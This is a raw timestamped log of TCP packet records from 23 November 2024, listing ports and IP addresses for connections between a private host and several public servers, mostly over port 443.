Nov 23, 2024 02:55:20.769471884 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.769757032 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.769776106 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.769819975 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.769825935 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.769861937 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.769882917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.772003889 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.772023916 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.772444963 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.772452116 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.773765087 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.774204969 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.774223089 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.774640083 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.774643898 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.777569056 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.777589083 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.777631044 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.777637005 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.777671099 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.777690887 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.785273075 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.785301924 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.785366058 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.785372972 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.785417080 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.785439014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.788024902 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.788057089 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.788108110 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.788120031 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.788170099 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.788170099 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.794774055 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.794802904 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.794855118 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.794863939 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.794914961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.794914961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.801640034 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.801668882 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.801753998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.801753998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.801764011 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.801985979 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.807610035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.807636976 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.807730913 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.807739973 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.807770014 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.807853937 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.814863920 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.814886093 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.814934015 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.814940929 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.814975977 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.814995050 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.820859909 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.820879936 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.820947886 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.820955038 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.820975065 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.821018934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.827598095 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.827617884 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.827712059 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.827712059 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.827718973 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.827790022 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.834445953 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.834472895 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.834558964 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.834566116 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.834575891 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.834625959 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.834798098 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.835433006 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.835445881 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.835906029 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.835910082 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.903340101 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.903410912 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.904686928 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.904788017 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.913897991 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.913933039 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.914356947 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.914372921 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.914844990 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.914983034 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.934031963 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.934067011 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.934119940 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.934130907 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.934165955 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.934181929 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.941660881 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.941690922 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.941729069 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.941735983 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.941781044 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.949441910 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.949465036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.949501991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.949508905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.949541092 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.949558973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.956218004 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.956238031 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.956295967 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.956302881 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.956330061 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.956351995 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.964453936 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.964473963 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.964555979 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.964564085 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.964607000 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.971198082 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.971220016 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.971292973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.971299887 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.971349001 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.978919029 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.978941917 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.978985071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.978992939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.979037046 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.979049921 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.986649036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.986670971 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.986732006 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.986741066 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.986885071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.998126984 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.998156071 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.998234034 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.998250008 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.998262882 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.998326063 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.004734039 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.004755974 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.004813910 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.004822016 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.004880905 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.004880905 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.007560968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:21.007633924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:21.011607885 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.011627913 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.011674881 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.011683941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.011739969 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.017601967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.017622948 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.017687082 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.017694950 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.017724991 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.017751932 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.020052910 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.020143032 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.020505905 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.020518064 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.020735025 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.020741940 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.024877071 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.024907112 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.024960041 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.024967909 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.025013924 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.025015116 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.030803919 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.030827045 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.030878067 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.030893087 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.030940056 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.030940056 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.037520885 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.037544966 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.037584066 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.037590027 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.037652969 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.044404030 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.044426918 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.044485092 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.044492006 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.044540882 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.044540882 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.136523962 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.136579037 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.136615992 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.136629105 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.136678934 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.142482996 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.142657042 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.142724037 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.142868042 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.142868042 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.142891884 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.142903090 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.143183947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.143228054 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.143258095 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.143265009 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.143295050 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.143330097 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.145975113 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.146002054 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.146187067 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.146368980 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.146383047 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.150959969 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.151002884 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.151036978 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.151043892 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.151096106 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.158741951 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.158787012 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.158832073 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.158838987 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.158870935 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.158885002 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.165824890 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.165854931 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.165899038 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.165908098 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.165961027 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.173577070 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.173600912 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.173650980 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.173661947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.173697948 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.173715115 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.180363894 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.180386066 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.180447102 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.180454969 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.180485964 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.180497885 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.188164949 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.188211918 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.188247919 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.188257933 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.188287020 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.188301086 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.207660913 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.207838058 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.207951069 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.207951069 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.207977057 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.207992077 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.208354950 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.208381891 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.208430052 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.208441019 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.208460093 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.208487988 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.210319996 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.210371971 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.210609913 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.210764885 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.210783005 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.213288069 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.213370085 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.213468075 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.213535070 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.213535070 CET	49742	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.213556051 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.213567019 CET	443	49742	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.215173960 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.215194941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.215298891 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.215306044 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.215352058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.215590000 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.215625048 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.215687990 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.215861082 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.215888023 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.221893072 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.221911907 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.221971035 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.221976995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.222024918 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.222024918 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.227902889 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.227924109 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.227965117 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.227978945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.228017092 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.228035927 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.235095024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.235116959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.235160112 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.235166073 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.235225916 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.235225916 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.241087914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.241106987 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.241153955 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.241159916 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.241206884 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.241206884 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.247939110 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.247960091 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.248050928 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.248058081 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.248094082 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.254714966 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.254734993 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.254776955 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.254782915 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.254823923 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.278901100 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.278963089 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.279032946 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.279150963 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.279150963 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.279160976 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.279170036 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.282212019 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.282253027 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.282330990 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.282434940 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:21.282452106 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:21.337981939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.338032007 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.338082075 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.338097095 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.338131905 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.338145971 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.344656944 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.344702005 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.344743013 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.344753027 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.344793081 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.344810963 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:21.352376938 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:21.352401972 CET	443	49733	150.171.27.10	192.168.2.6
